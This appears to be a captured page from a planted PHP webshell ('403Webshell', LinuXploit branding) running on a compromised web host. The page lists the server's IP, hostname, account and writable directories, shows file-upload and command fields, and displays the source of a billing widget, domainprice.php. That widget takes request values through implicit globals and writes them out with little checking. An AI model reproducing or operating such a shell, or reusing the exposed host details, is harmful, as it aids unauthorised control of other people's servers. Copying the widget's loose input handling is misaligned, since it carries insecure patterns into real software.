403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/central/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/central/widgets/domainprice.php
<?php

require("../dbconnect.php");
require("../includes/functions.php");

/*
*** USAGE SAMPLES ***

<script language="javascript" src="widgets/domainprice.php?tld=.com&type=register&regperiod=1"></script>

<script language="javascript" src="widgets/domainprice.php?tld=.com&type=register&regperiod=1&format=1"></script>

*/

$result = select_query("tbldomainpricing","id",array("extension"=>$tld));
$data = mysql_fetch_array($result);
$did = $data['id'];

$currency = ($currency) ? getCurrency('',$currency) : getCurrency();

if (!in_array($type,array('register','transfer','renew'))) $type = 'register';

$result = select_query("tblpricing","msetupfee,qsetupfee,ssetupfee,asetupfee,bsetupfee,tsetupfee,monthly,quarterly,semiannually,annually,biennially,triennially",array("type"=>"domain".$type,"currency"=>$currency['id'],"relid"=>$did));
$data = mysql_fetch_array($result);

if ($regperiod<6) $regperiod = $regperiod-1;

$price = $data[$regperiod];

if ($format) $price = formatCurrency($price);

echo "document.write('".$price."');";

?>

Youez - 2016 - github.com/yon3zu
LinuXploit